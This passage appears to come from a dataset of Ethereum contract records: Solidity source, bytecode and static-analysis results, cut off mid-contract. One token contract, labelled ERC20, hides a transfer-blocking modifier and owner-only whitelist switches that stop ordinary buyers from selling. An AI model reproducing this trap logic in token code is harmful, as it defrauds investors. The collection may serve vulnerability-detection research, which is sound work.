80156103865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561039f57600080fd5b6103d4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a68565b604051808215151515815260200191505060405180910390f35b34156103f957600080fd5b610444600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c03565b6040518082815260200191505060405180910390f35b6040805190810160405280600681526020017f444149434f20000000000000000000000000000000000000000000000000000081525081565b60008082148061051f57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561052a57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506106f483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8a90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061078983600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ca890919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107df8382610ca890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60035481565b601281565b600080821115156108eb57600080fd5b33905061094082600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ca890919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099882600054610ca890919063ffffffff16565b600081905550818173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca560405160405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600581526020017f444149434f00000000000000000000000000000000000000000000000000000081525081565b6000610abc82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ca890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284019050838110151515610c9e57fe5b8091505092915050565b6000828211151515610cb657fe5b8183039050929150505600a165627a7a72305820ff29667125f14ed08a863d0bb2a7faf290b70b61984860e3ad3f52c79f9836510029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,881
0xcf1f5fed0e6c1bf4d113026f5ff949a50a1df3cc
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ //axpr.io function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122051d4c0edfd2212646af772b93923611835aa683fb7592780a889a02b3e6a493864736f6c63430006060033
{"success": true, "error": null, "results": {}}
3,882
0x769dc1023042fa16fa231c0ca4ce1e5db96acaca
pragma solidity ^0.4.24; interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } contract TeamJust { JIincForwarderInterface private Jekyll_Island_Inc = JIincForwarderInterface(0x0); //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // SET UP MSFun (note, check signers by name is modified from MSFun sdk) //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ MSFun.Data private msData; function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} function checkData(bytes32 _whatFunction) onlyAdmins() public view returns(bytes32 message_data, uint256 signature_count) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(bytes32, bytes32, bytes32) {return(this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // DATA SETUP //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ struct Admin { bool isAdmin; bool isDev; bytes32 name; } mapping (address => Admin) admins_; uint256 adminCount_; uint256 devCount_; uint256 requiredSignatures_; uint256 requiredDevSignatures_; //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // CONSTRUCTOR //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ constructor() public { address ss = 0x9F2cBF9f685062d804DC6e711fb459D3bD823756; admins_[ss] = Admin(true, true, "ss"); adminCount_ = 1; devCount_ = 1; requiredSignatures_ = 1; requiredDevSignatures_ = 1; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // FALLBACK, SETUP, AND FORWARD //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // there should never be a balance in this contract. but if someone // does stupidly send eth here for some reason. we can forward it // to jekyll island function () public payable { Jekyll_Island_Inc.deposit.value(address(this).balance)(); } function setup(address _addr) onlyDevs() public { require( address(Jekyll_Island_Inc) == address(0) ); Jekyll_Island_Inc = JIincForwarderInterface(_addr); } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // MODIFIERS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ modifier onlyDevs() { require(admins_[msg.sender].isDev == true, "onlyDevs failed - msg.sender is not a dev"); _; } modifier onlyAdmins() { require(admins_[msg.sender].isAdmin == true, "onlyAdmins failed - msg.sender is not an admin"); _; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // DEV ONLY FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ /** * @dev DEV - use this to add admins. this is a dev only function. * @param _who - address of the admin you wish to add * @param _name - admins name * @param _isDev - is this admin also a dev? */ function addAdmin(address _who, bytes32 _name, bool _isDev) public onlyDevs() { if (MSFun.multiSig(msData, requiredDevSignatures_, "addAdmin") == true) { MSFun.deleteProposal(msData, "addAdmin"); // must check this so we dont mess up admin count by adding someone // who is already an admin if (admins_[_who].isAdmin == false) { // set admins flag to true in admin mapping admins_[_who].isAdmin = true; // adjust admin count and required signatures adminCount_ += 1; requiredSignatures_ += 1; } // are we setting them as a dev? // by putting this outside the above if statement, we can upgrade existing // admins to devs. if (_isDev == true) { // bestow the honored dev status admins_[_who].isDev = _isDev; // increase dev count and required dev signatures devCount_ += 1; requiredDevSignatures_ += 1; } } // by putting this outside the above multisig, we can allow easy name changes // without having to bother with multisig. this will still create a proposal though // so use the deleteAnyProposal to delete it if you want to admins_[_who].name = _name; } /** * @dev DEV - use this to 